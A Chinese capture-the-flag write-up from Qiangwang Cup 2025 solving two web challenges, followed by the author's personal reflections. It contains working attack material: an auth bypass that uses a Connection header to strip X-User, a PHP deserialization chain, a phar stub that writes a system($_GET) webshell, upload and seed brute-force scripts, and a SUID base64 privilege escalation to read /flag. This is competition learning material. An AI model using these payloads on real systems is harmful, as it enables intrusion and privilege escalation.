强网杯 2025 部分web wp

这次我就做了两个web。跟V&N的兄弟们拿了个25名,勉强晋级决赛。这是V&N第一次打进强网正赛。我们创造了历史。
因为我时间比较紧张,就只写我做的两题了。
Web
2.Secret Vault
一个python的web app。flask。有个go的鉴权服务器。这个服务器有个后端,来自github.com/gorilla/mux,有一段签名逻辑,开在4444端口
go的鉴权服务器有个中间件。开在5555,会从主服务器(5000)中获取JWT密钥,验证并提取uid,然后删掉一些头:
req.Header.Del("Authorization")
req.Header.Del("X-User")
req.Header.Del("X-Forwarded-For")
req.Header.Del("Cookie")
然后将X-User设置为uid。
客户机向主服务器(5000)交一段JWT的auth信息,通过过中间件处理后,会返回uid。如果中间件验证失败就是anonymous,也就是鉴权失败。
他这个主服务器上的鉴权:
def login_required(view_func):
@wraps(view_func)
def wrapped(*args, **kwargs):
uid = request.headers.get('X-User', '0')
print(uid)
if uid == 'anonymous':
flash('Please sign in first.', 'warning')
return redirect(url_for('login'))
try:
uid_int = int(uid)
except (TypeError, ValueError):
flash('Invalid session. Please sign in again.', 'warning')
return redirect(url_for('login'))
user = User.query.filter_by(id=uid_int).first()
if not user:
flash('User not found. Please sign in again.', 'warning')
return redirect(url_for('login'))
g.current_user = user
return view_func(*args, **kwargs)
return wrapped
如果获取失败uid就是0,uid是0的用户正好是admin。
user = User(
id=0,
username='admin',
password_hash=password_hash,
salt=base64.b64encode(salt).decode('utf-8'),
)
所以我们现在就是要想个办法让中间件的返回头里没有 X-User
func main() {
authorizer := &httputil.ReverseProxy{Director: func(req *http.Request) {
req.URL.Scheme = "http"
req.URL.Host = "127.0.0.1:5000"
uid := GetUIDFromRequest(req)
log.Printf("Request UID: %s, URL: %s", uid, req.URL.String())
req.Header.Del("Authorization")
req.Header.Del("X-User")
req.Header.Del("X-Forwarded-For")
req.Header.Del("Cookie")
if uid == "" {
req.Header.Set("X-User", "anonymous")
} else {
req.Header.Set("X-User", uid)
}
}}
我们传入:
Connection: close,X-User
此时不管中间件传回怎样的X-User值,在客户机与中间件的Connection被Connection Header给close掉之后,也根据RFC HTTP1/1的规范(为了向下兼容)将X-User置空。因此我们得到了空的X-User。
在uid = request.headers.get('X-User', '0')中,我们得到了uid为0的用户的登录权限。
之后我们直接就能看到明文flag。
最后的包:
GET /dashboard HTTP/1.1
Host: 39.106.47.249:33002
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://39.106.47.249:33002/login
Accept-Encoding: gzip, deflate, br
Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlZ2lzdHJhdGlvbiBzdWNjZXNzZnVsLiBQbGVhc2Ugc2lnbiBpbi4iXX1dfQ.aPL-ZA.tZC2005ISCmkE8hJbh-zz9iu_qE; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJBdXRob3JpemVyIiwic3ViIjoiMSIsImV4cCI6MTc2MDc1ODkwNCwibmJmIjoxNzYwNzU1MzA0LCJpYXQiOjE3NjA3NTUzMDQsInVpZCI6IjEifQ.gg-1I8lk7m-mvmWo0X7pSXY9auJQ31sn1G-gcUzRGro
Connection: close,X-User
flag{698d8138-f41d-4f03-9301-3b37f0b2dd7b}
3.EZ PHP
<?=eval(base64_decode('ZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDgpeyRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzskcmFuZG9tU3RyaW5nID0gJyc7Zm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgeyRyID0gcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpIC0gMSk7JHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1skcl07fXJldHVybiAkcmFuZG9tU3RyaW5nO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBc2lhL1NoYW5naGFpJyk7Y2xhc3MgdGVzdHtwdWJsaWMgJHJlYWRmbGFnO3B1YmxpYyAkZjtwdWJsaWMgJGtleTtwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXskdGhpcy0+cmVhZGZsYWcgPSBuZXcgY2xhc3Mge3B1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpe2lmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pICYmICRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA9PSAwKSB7JHRpbWUgPSBkYXRlKCdIaScpOyRmaWxlbmFtZSA9ICRHTE9CQUxTWydmaWxlbmFtZSddOyRzZWVkID0gJHRpbWUgLiBpbnR2YWwoJGZpbGVuYW1lKTttdF9zcmFuZCgkc2VlZCk7JHVwbG9hZERpciA9ICd1cGxvYWRzLyc7JGZpbGVzID0gZ2xvYigkdXBsb2FkRGlyIC4gJyonKTtmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHtpZiAoaXNfZmlsZSgkZmlsZSkpIHVubGluaygkZmlsZSk7fSRyYW5kb21TdHIgPSBnZW5lcmF0ZVJhbmRvbVN0cmluZyg4KTskbmV3RmlsZW5hbWUgPSAkdGltZSAuICcuJyAuICRyYW5kb21TdHIgLiAnLicgLiAnanBnJzskR0xPQkFMU1snZmlsZSddID0gJG5ld0ZpbGVuYW1lOyR1cGxvYWRlZEZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHVwbG9hZFBhdGggPSAkdXBsb2FkRGlyIC4gJG5ld0ZpbGVuYW1lOyBpZiAoc3lzdGVtKCJjcCAiLiR1cGxvYWRlZEZpbGUuIiAiLiAkdXBsb2FkUGF0aCkpIHtlY2hvICJzdWNjZXNzIHVwbG9hZCEiO30gZWxzZSB7ZWNobyAiZXJyb3IiO319fXB1YmxpYyBmdW5jdGlvbiBfX3dha2V1cCgpe3BocGluZm8oKTt9cHVibGljIGZ1bmN0aW9uIHJlYWRmbGFnKCl7ZnVuY3Rpb24gcmVhZGZsYWcoKXtpZiAoaXNzZXQoJEdMT0JBTFNbJ2ZpbGUnXSkpIHskZmlsZSA9ICRHTE9CQUxTWydmaWxlJ107JGZpbGUgPSBiYXNlbmFtZSgkZmlsZSk7aWYgKHByZWdfbWF0Y2goJy86XC9cLy8nLCAkZmlsZSkpZGllKCJlcnJvciIpOyRmaWxlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygidXBsb2Fkcy8iIC4gJGZpbGUpO2lmIChwcmVnX21hdGNoKCcvPFw/fFw6XC9cL3xwaHxcP1w9L2knLCAkZmlsZV9jb250ZW50KSkge2RpZSgiSWxsZWdhbCBjb250ZW50IGRldGVjdGVkIGluIHRoZSBmaWxlLiIpO31pbmNsdWRlKCJ1cGxvYWRzLyIgLiAkZmlsZSk7fX19fTt9cHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXskZnVuYyA9ICR0aGlzLT5mOyRHTE9CQUxTWydmaWxlbmFtZSddID0gJHRoaXMtPnJlYWRmbGFnO2lmICgkdGhpcy0+a2V5ID09ICdjbGFzcycpbmV3ICRmdW5jKCk7ZWxzZSBpZiAoJHRoaXMtPmtleSA9PSAnZnVuYycpIHskZnVuYygpO30gZWxzZSB7aGlnaGxpZ2h0X2ZpbGUoJ2luZGV4LnBocCcpO319fSRzZXIgPSBpc3NldCgkX0dFVFsnbGFuZCddKSA/ICRfR0VUWydsYW5kJ10gOiAnTzo0OiJ0ZXN0IjpOJztAdW5zZXJpYWxpemUoJHNlcik7'));
base64解码后:
function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}
date_default_timezone_set('Asia/Shanghai');
class test {
public $readflag;
public $f;
public $key;
public function __construct() {
$this->readflag = new class {
public function __construct() {
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$time = date('Hi');
$filename = $GLOBALS['filename'];
$seed = $time . intval($filename);
mt_srand($seed);
$uploadDir = 'uploads/';
$files = glob($uploadDir . '*');
foreach ($files as $file) {
if (is_file($file)) {
unlink($file);
}
}
$randomStr = generateRandomString(8);
$newFilename = $time . '.' . $randomStr . '.' . 'jpg';
$GLOBALS['file'] = $newFilename;
$uploadedFile = $_FILES['file']['tmp_name'];
$uploadPath = $uploadDir . $newFilename;
if (system("cp " . $uploadedFile . " " . $uploadPath)) {
echo "success upload!";
} else {
echo "error";
}
}
}
public function __wakeup() {
phpinfo();
}
public function readflag() {
function readflag() {
if (isset($GLOBALS['file'])) {
$file = $GLOBALS['file'];
$file = basename($file);
if (preg_match('/:\/\//', $file)) {
die("error");
}
$file_content = file_get_contents("uploads/" . $file);
if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
die("Illegal content detected in the file.");
}
include("uploads/" . $file);
}
}
}
};
}
public function __destruct() {
$func = $this->f;
$GLOBALS['filename'] = $this->readflag;
if ($this->key == 'class') {
new $func();
} else if ($this->key == 'func') {
$func();
} else {
highlight_file('index.php');
}
}
}
$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser);
我们正常走destruct看phpinfo
O:4:"test":2:{s:1:"f";s:7:"phpinfo";s:3:"key";s:4:"func";}
这里禁止了很多。但是因为源码里有system所以我们可以直接用system去RCE。这个WAF就绕过去了。
观察源代码 我们思路就是:
-
传个文件(传什么文件过会再说)
-
调用到匿名类的readflag 使readflag被声明
-
直接调用readflag
好。现在的问题是怎么调这个匿名类的readflag。
匿名类遵循这样的规则:
%00 + 函数 + 路径 : 行号$序号
但是这里是eval里注册的,我们起一个示例看看。
<?php
eval('$b = new class{};');
echo get_class($b);
随便注册一个eval里的动态函数你就能发现:
class@anonymous/tmp/sandbox.s0-s0;c428,c730/home/.code.tio(2) : eval()'d code0x7f26184710c7
这个行号是eval()'d code+数字。别的是一样的。
这个eval函数在第一行(所以括号里的行号是1),同时eval解出来之后所有函数都堆在一行(所以$前面的行号是第一行),所以不难推出他这个名字是:
\0readflag/var/www/html/index.php(1) : eval()\'d code:1$序号
还有就是,php反序列化时有:
$func = array('类名','函数名')
这样我们有匿名类类名就能调用到匿名类的readflag,这样就能声明到了。
很容易搓:
<?php
class test {
public $readflag;
public $f;
public $key;
public function __construct() {
}
}
$a = new test();
$a -> readflag = 名字;
$a -> f = 'test';
$a -> key = 'class';
$b = new test();
$b -> f = array("class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1$1", 'readflag');
$b -> key = 'func';
echo serialize($a);
echo ' ';
echo serialize($b);
这里contruct里的东西全部都要删了。不然没法反序列化也没法序列化(php 7+)
搞完这个我们就可以稳定include了:
import requests
target = 'http://localhost:8000/'
a = 'O:4:"test":3:{s:8:"readflag";s:5:"名字";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}'
b = 'O:4:"test":3:{s:8:"readflag";s:5:"名字";s:1:"f";s:55:"\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1";s:3:"key";s:4:"func";}'
pay = 'a:2:{i:0;'+a+'i:1;'+b+'}'
res = requests.post(target,params={'land':pay},files={'file': ('1.png', open('1.gz', 'rb'))})
print(res.text)
之后我们来想想这个文件传什么。
参考:https://fushuling.com/index.php/2025/07/30/当include邂逅phar-deadsecctf2025-baby-web/
同款构造方法。我们搞一个phar:
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
system('echo "<?php system(\$_GET[1]); ?>" > 1.php');
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
改名为1,gzip压缩(不然你压缩完出来文件里有phar会被waf)
gzip 1
搞完1.gz 备用。
接下来我们就看看怎么去把phar搞到文件名里。这里我们发现:
$seed = $time . intval($filename);
mt_srand($seed);
filename可控。我们可以爆破种子去搞seed。使generateRandomString生成的文件名以phar开头。
这里直接找AI搓:https://chat.deepseek.com/share/u25k3dd01q3ly9h40t
<?php
date_default_timezone_set('Asia/Shanghai');
function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}
// 获取当前时间(Hi格式)
$currentTime = date('Hi');
echo "当前时间: " . $currentTime . "\n";
echo "正在寻找前四个字符为 'phar' 的字符串...\n\n";
$found = false;
$attempts = 0;
$maxAttempts = 10000000; // 最大尝试次数,防止无限循环
// 尝试不同的整型后缀
for ($i = 0; $i < $maxAttempts; $i++) {
$attempts++;
// 构建种子:当前时间 + 整型数字
$seed = $currentTime . $i;
// 设置随机数种子
mt_srand((int)$seed);
srand((int)$seed); // 注意:generateRandomString 使用 rand() 而不是 mt_rand()
// 生成随机字符串
$randomString = generateRandomString(8);
// 检查前四个字符是否为 "phar"
if (substr($randomString, 0, 4) === 'phar') {
echo "找到符合条件的字符串!\n";
echo "种子: " . $seed . "\n";
echo "生成的字符串: " . $randomString . "\n";
echo "尝试次数: " . $attempts . "\n";
$found = true;
break;
}
// 每10000次显示一次进度
if ($attempts % 10000 === 0) {
echo "已尝试 " . $attempts . " 次...\n";
}
}
if (!$found) {
echo "在 " . $maxAttempts . " 次尝试内未找到符合条件的字符串。\n";
echo "建议:\n";
echo "1. 增加最大尝试次数\n";
echo "2. 检查当前时间是否已变化\n";
echo "3. 考虑使用更大的数字范围\n";
}
?>
这里记得设置时区!!!!!
然后我们就正常做就行,运行上面那个exp,爆破到当前分钟的种子:
然后把这玩意放到readflag属性里,上传1.gz:
import requests
# a:3:{i:0;O:4:"test":3:{s:8:"readflag";s:6:"104206";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}i:1;O:4:"test":3:{s:8:"readflag";N;s:1:"f";a:2:{i:0;s:62:"class@anonymous/var/www/html/index.php(1) : eval()'d code:1$0";i:1;s:8:"readflag";}s:3:"key";s:4:"func";}i:2;O:4:"test":3:{s:8:"readflag";N;s:1:"f";s:8:"readflag";s:3:"key";s:4:"func";}}
target = 'http://localhost:8000/'
a = 'O:4:"test":3:{s:8:"readflag";s:5:"18110";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}'
b = 'O:4:"test":3:{s:8:"readflag";s:5:"18110";s:1:"f";s:55:"\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1";s:3:"key";s:4:"func";}'
pay = 'a:2:{i:0;'+a+'i:1;'+b+'}'
res = requests.post(target,params={'land':pay},files={'file': ('1.png', open('1.gz', 'rb'))})
print(res.text)
直接传,搞到1.php的shell。发现/flag要提权。
我们这里找一下SUID提权:
find / -user root -perm -4000 -print 2>/dev/null
发现有base64。参考:https://gtfobins.github.io/gtfobins/base64/
base64 "/flag" | base64 --decode
flag{145f3a7d-5596-4fb3-8092-90c15ebd3171}
后记
后面是一些感想。
首先,强网杯作为“全国性大赛”,其“全国”范围内不包含港澳台。作为一位香港人,我在此处烦请赛事组注意措辞。要么说明是中国大陆竞赛,要么就请支持港澳台参赛。不要让同胞白跑一趟。
今年九月之后我正式步入中六(高三)的生活了。每天被试题淹没的我真的很缺如此一场酣畅淋漓的CTF恢复心态。这次是真爆肝了一整个周末。ezphp一题我从第一天下午2点看到凌晨3点,又从第二天7点看到下午3点才解出来。
感谢队友的一路陪伴。最近我考试特别多,也忙得晕头转向的,我没想到居然能从CTF这里找到如此大的鼓励和安慰。感谢V&N的师傅们这次在我的17岁留下如此的回忆,就像你们往常做的那样。
在和队里的pwn手和web手一起做出来go2php这道web pwn之后,我明白,CTF从来不是一个人的游戏。没有MVP,也没有躺赢狗。少一个人都赢不了比赛。这是我们热血沸腾的组合技。
热泪盈眶,不知所言。

浙公网安备 33010602011771号